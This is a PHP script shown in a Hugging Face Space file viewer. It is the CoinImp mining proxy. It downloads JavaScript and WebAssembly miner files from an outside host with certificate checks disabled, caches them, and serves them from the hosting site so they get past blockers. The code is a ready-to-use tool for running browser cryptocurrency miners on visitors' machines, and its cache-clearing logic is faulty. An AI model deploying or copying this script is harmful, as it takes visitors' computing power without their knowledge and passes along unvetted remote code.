Hugging Face's logo

Spaces:
salomonsky
/
sp
Sleeping

App Files Community
sp
File size: 3,046 Bytes
08c3913
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php

$URL_GET = 'http://www.wasm.stream/';
$CACHE_TIME = '1 hour';
$CACHE_DIR = 'coinimp-cache';

function url_get_contents($url)
{
    $data = false;

    if (function_exists('curl_exec'))
    {
        if ($conn = curl_init($url))
        {
            curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($conn, CURLOPT_FRESH_CONNECT,  true);
            curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
            $data = (curl_exec($conn));
            curl_close($conn);
        }
    }
    elseif (function_exists('file_get_contents'))
    {
        $data = file_get_contents($url);
    }
    elseif (function_exists('fopen') && function_exists('stream_get_contents'))
    {
        if ($handle = fopen($url, "r"))
        {
            $data = stream_get_contents($handle);
        }
    }

    if ($data)
        return $data;
    else
        die("Cannot download \"$url\"!");
}

function get_file_from_server($filename)
{
    global $URL_GET;
    $filename = urlencode($filename);
    $uri = strtok($_SERVER['REQUEST_URI'],'?');
    $host = urlencode((isset($_SERVER['HTTPS']) ? 'https' : 'http') . "://" . $_SERVER['HTTP_HOST'] . "$uri");
    return url_get_contents("$URL_GET?filename=$filename&host=$host");
}

function filename_match($filename)
{
    return preg_match('/^\w{4}\.js$/', $filename)
        || preg_match('/^\w{6}\.js$/', $filename)
        || preg_match('/^\w{7}\.min\.js\.mem$/', $filename)
        || preg_match('/^\w{8}\.wasm$/', $filename)
        || preg_match('/^\w{8}\.png$/', $filename);
}

function get_cache_dir()
{
    $dirs = array('coinimp-cache', 'tmp/coinimp-cache', '/tmp/coinimp-cache');
    foreach ($dirs as $dir)
    {
        if(!file_exists($dir))
            mkdir($dir, 0777, true);

        if(is_writeable($dir))
            return $dir;
    }
    die('Cache directory "coinimp-cache" is not writeable!');
}

function get_dir_size($path)
{
    $fileSize = 0;
    $dir = scandir($path);

    foreach($dir as $file)
    {
        if (($file !== '.') && ($file !== '..'))
            if (is_dir($path . '/' . $file))
                $fileSize += get_dir_size($path.'/'.$file);
            else
                $fileSize += filesize($path . '/' . $file);
    }

    return $fileSize;
}

$CACHE_DIR = get_cache_dir();

$req_file = isset($_GET['f']) ? $_GET['f'] : '';

if (!filename_match($req_file))
{
    die('Invalid argument');
}

$cache_filename = "$CACHE_DIR/$req_file";
if (!file_exists($cache_filename) || (filemtime($cache_filename) < strtotime("-$CACHE_TIME")))
{
    $script = get_file_from_server($req_file);
    file_put_contents($cache_filename, $script);
}
elseif (get_dir_size($CACHE_DIR) < 7000000)
{
    rmdir($CACHE_DIR);
    $script = get_file_from_server($req_file);
    file_put_contents($cache_filename, $script);
}
else
{
    $script = file_get_contents($cache_filename);
}

$type = substr($req_file, -2) == 'js'
    ? 'application/javascript'
    : 'application/octet-stream';

header('Content-Type: ' . $type . '; charset=utf-8');

die($script);